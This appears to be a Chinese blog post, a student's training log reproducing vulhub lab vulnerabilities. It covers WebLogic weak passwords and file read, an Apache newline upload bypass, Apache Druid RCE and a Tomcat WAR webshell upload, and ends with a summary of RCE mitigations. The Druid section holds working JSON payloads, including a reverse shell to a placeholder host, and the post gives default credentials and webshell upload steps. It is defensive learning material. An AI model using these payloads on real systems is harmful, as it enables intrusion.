实训日志 day8

目录

1. 在vps安装docker和docker-compose

2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

2.1 weblogic 弱口令/任意文件读取

2.1.1 弱口令漏洞

2.1.2 任意文件读取漏洞

2.2 apache 换行解析/druid RCE

2.1.1 换行解析漏洞

2.1.2 druid RCE漏洞

2.3 tomcat 弱口令/后台文件上传getshell

2.3.1 弱口令漏洞

2.3.2 后台文件上传漏洞

3. 总结RCE漏洞的原理和利用条件及解决方案

3.1 RCE漏洞的原理

3.1.1 输入验证不足

3.1.2 代码执行

3.1.3权限提升

3.2 RCE漏洞的利用条件

3.2.1 存在未经验证的输入点

3.2.2 代码执行接口

3.2.3 漏洞环境

3.3 RCE漏洞的解决方案

3.3.1 输入验证

3.3.2 使用安全的函数和接口

3.3.3 最小权限原则

3.3.4 安全更新和补丁

3.3.5 安全审计和监控

3.3.6 白名单策略


1. 在vps安装docker和docker-compose

2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

2.1 weblogic 弱口令/任意文件读取

2.1.1 弱口令漏洞

漏洞成因:WebLogic服务器在搭建后,管理员未修改后台的默认密码或设置的密码过于简单,导致攻击者可以通过暴力破解、字典攻击等方式轻易获取登录权限,进而对服务器进行进一步的控制和攻击。

漏洞复现:

        使用docker搭建环境以访问:​http://your-ip:7001/console​

        使用弱口令weblogic:Oracle@123,即可实现登录:

2.1.2 任意文件读取漏洞

漏洞成因:服务器在处理用户输入时,没有对输入内容进行充分的限制和过滤,导致攻击者可以通过构造特殊的请求,读取服务器上任意文件的内容。

漏洞复现:

        前台存在任意文件读取漏洞,在不知道登录密码的情况下可通过此漏洞读取weblogic加密后的密码文件,如使用如下URL读取/etc/passwd:

http://your-ip:7001/hello/file.jsp?path= /etc/passwd

        从中可以读取敏感的密码信息:

2.2 apache 换行解析/druid RCE

2.1.1 换行解析漏洞

漏洞成因:程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。该程序是采用黑名单的形式,如果文件后缀名不在名单内即可上传,所以 a.php\x0A不在黑名单列表中,可以上传。但是x0A是换行符,所以apache会直接忽略,将其当成php来执行。

漏洞复现:

        使用docker搭建环境以访问:http://your-ip:8080/

        准备如下木马并启动bp拦截:

        上传木马文件,此时burpsuite就会抓取提交的数据。

        在文件名末尾处加空格

        点击 Hex按钮,进入十六进制编辑页面,并找到文件名1.php的位置。

        然后在文件名后空格对应的20改为0A ,然后点击 Forward。

       文件上传成功!

        接下来访问一句话木马1.php%0a

http://your-ip:8080/upload/1.php%0A

   使用冰蝎进行连接:

        漏洞复现成功

2.1.2 druid RCE漏洞

漏洞成因:在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码2.3 tomcat 弱口令/后台文件上传getshell

漏洞复现:

        使用docker搭建环境以访问:http://your-ip:8888/,加载会特别慢,要等一会儿。

        进入Druid console控制台界面,点击Load data -->Local disk

逐步添加以下内容:

  • Base directoryquickstart/tutorial/
  • File filterwikiticker-2015-09-12-sampled.json.gz
  • Dimension:cityName
  • Value:Auburn

        在点击Apply之前开启BP并抓包.....

        修改数据包中的字段filter为以下内容:

{"type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",
    "dimension":"added",
    "":{
        "enabled":"true"
    }
}

        发现是可以请求的,说明存在漏洞

        先在主机中做监听,这里监听4321端口

        继续修改filter值为以下内容:

{
    "type": "javascript",
    "dimension": "added",
    "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/your-ip/4321 0>&1')}",
    "": {
        "enabled": true
    }
}

        使用反弹shell触发漏洞

        触发成功!

2.3 tomcat 弱口令/后台文件上传getshell

2.3.1 弱口令漏洞

漏洞成因:Tomcat在安装后,其管理后台(如Manager App)通常会有一个默认的用户名和密码(如tomcat:tomcat)。如果管理员在安装后没有修改这些默认密码,那么攻击者就可以利用这些默认密码尝试登录。

漏洞复现:

        使用docker搭建环境以访问:http://your-ip:8080/console

        点击Manager App,使用弱口令tomcat/tomcat,即可实现登录:

        成功进入登陆界面:

2.3.2 后台文件上传漏洞

漏洞成因:Tomcat manager 登录界面存在弱口令漏洞,登录成功后有上传点,压缩包 xxx.war的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell

漏洞复现:

        使用冰蝎自带的.jsp木马文件,默认密码为rebeyond

        在这里打开终端将文件压缩成war,并上传shell.war文件

jar -cvf shell.war shell.jsp

访问 your-ip:8080/shell/shell.jsp  (这里的父目录名与文件名一致),没有报错,说明上传成功了:

        使用冰蝎进行连接:

        漏洞复现成功

3. 总结RCE漏洞的原理和利用条件及解决方案

3.1 RCE漏洞的原理

        RCE(远程代码执行)漏洞是指攻击者能够在目标系统上执行任意远程代码。这一漏洞通常由于应用程序对用户输入没有进行充分的验证和过滤,导致攻击者可以通过构造恶意输入,让应用程序在执行过程中执行攻击者指定的代码。具体而言,RCE漏洞的原理包括以下几个方面:

3.1.1 输入验证不足

        应用程序在接收用户输入时,未能对输入数据进行充分的验证和过滤,使得恶意代码或命令能够作为有效输入被处理。

3.1.2 代码执行

        应用程序在执行系统命令或处理用户输入时,将未经验证的输入直接用于执行代码或命令,导致攻击者能够执行任意代码。

3.1.3权限提升

        攻击者通过RCE漏洞执行的代码或命令可能具有与应用程序相同的权限,从而能够执行更高级别的操作,如读写敏感文件、控制系统服务等。

3.2 RCE漏洞的利用条件

        RCE漏洞的利用条件主要包括以下几个方面:

3.2.1 存在未经验证的输入点

        应用程序中存在接受用户输入且未进行充分验证和过滤的点,如URL参数、表单输入等。

3.2.2 代码执行接口

        应用程序中存在能够执行系统命令或代码的函数或接口,且这些函数或接口在处理用户输入时未进行安全检查。

3.2.3 漏洞环境

        目标系统上存在可被利用的RCE漏洞,且攻击者能够访问到该漏洞的触发点。

3.3 RCE漏洞的解决方案

        针对RCE漏洞,可以采取以下解决方案来加强安全防护:

3.3.1 输入验证

        对应用程序中的所有输入点进行严格的验证和过滤,确保输入数据符合预期格式和范围,避免恶意代码或命令的注入。

3.3.2 使用安全的函数和接口

        在应用程序中避免使用能够执行系统命令或代码的函数或接口,如果必须使用,则应对输入进行严格的检查和过滤。

3.3.3 最小权限原则

        确保应用程序及其执行代码或命令的权限尽可能低,避免使用高权限账户运行应用程序。

3.3.4 安全更新和补丁

        及时关注并应用应用程序及其依赖库的安全更新和补丁,以修复已知的RCE漏洞。

3.3.5 安全审计和监控

        定期对应用程序进行安全审计和监控,及时发现并修复潜在的RCE漏洞。

3.3.6 白名单策略

        对于需要执行外部命令或代码的功能,实施严格的白名单策略,只允许预定义的安全命令或代码被执行。

  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值